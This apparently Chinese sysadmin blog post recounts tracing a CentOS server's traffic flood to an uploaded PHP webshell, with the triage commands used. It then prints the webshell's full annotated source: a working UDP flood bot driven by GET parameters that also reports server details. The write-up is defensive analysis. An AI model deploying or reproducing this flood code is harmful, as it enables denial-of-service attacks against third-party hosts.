今天早上五點,收到監控寶的警告短信,說是網站M無法訪問了。睡的正香,再說網站所在系統是centos,重要數據每天都備份,應該很安全,也沒有在意。倒頭接著睡覺去了。
早上九點,機房負責人直接給我打來電話,說是全機房網絡巨慢,單位的所有網站都打不開或打開的很慢。Centos服務器被掛馬的一次抓馬經歷。
我趕緊趕了過去,查看了一下那里網絡,發現175服務總是以50M/S速度向外發包,而175服務器正是網站M所在的服務器。
果斷SSH連接175服務器,發現175服務器連接也很慢,連上之后top一下,查看cpu負載:
top
發現有兩個apache進程占用cpu一直在40%以上,馬上停止httpd 服務
service httpd stop
停止httpd服務之后,再看網絡狀態,175服務器也不向外發包了,一切正常。
由此判斷應該是175服務器掛了馬,瘋狂向外發包,擠占了全部機房帶寬。
下一步就是抓馬了!
175服務器是有硬件防火墻,只開http80跟ssh22端口,ssh不太可能被盜號,應該是通過web漏洞掛馬。早上5點才中招的,木馬程序文件應該在1天之內。
切到M站點根目錄之下,查找最近一天內變動的文件,執行
find ./ -mtime -1
果然,一個名為phzLtoxn.php的可疑文件出現在目錄列表中。查看一下木馬程序的創建者,執行
ls -l phzLtoxn.php
這里發現文件就沒了,難道這文件還會自我銷毀?Centos服務器被掛馬的一次抓馬經歷
原來發生了一個小插曲,隔壁的管理員小黃也注意到這個文件,二話不說就刪除了。我過去劈頭批評教育了小黃一頓。見了木馬程序就知道刪刪刪刪!難道木馬程序不會再生成啊?你得順藤摸瓜,不是一刀切。你得找到漏洞源頭!刪了沒辦法,再把httpd服務開啟了,引狼入室,等等看能否再生成。
果然,半小時不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件創建者是apache,由此判斷這肯定是通過網站漏洞上傳的。
分析一下木馬文件,看下黑客意圖
這里貼出phzLtoxn.php文件源代碼,并作了簡單注釋,僅作學習之用。
<?php//設置腳本運行時間set_time_limit(999999);//攻擊目標服務器ip$host = $_GET['host'];//攻擊目標服務器端口$port = $_GET['port'];//攻擊時長$exec_time = $_GET['time'];//每次發送字節數$Sendlen = 65535;$packets = 0;//設置客戶機斷開不終止腳本的執行ignore_user_abort(TRUE);//step1. 目標服務器$host、端口$port、運行時長$exec_time有效性if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) { if (StrLen($_GET['rat']) <> 0) { echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat']; exit; } echo "Warning to: opening"; exit;}//step2. 設定發字符串$out,這里是“AAAAAAAAAA...”for ($i = 0; $i < $Sendlen; $i++) { $out .= "A";}$max_time = time() + $exec_time;//step3. 進行攻擊,使用udp向目標服務器狠狠發串串while (1) { $packets++; if (time() > $max_time) { break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if ($fp) { fwrite($fp, $out); fclose($fp); }}//step4. 攻擊統計echo "Send Host $host:$port<br><br>";echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";?>
|
新聞熱點
疑難解答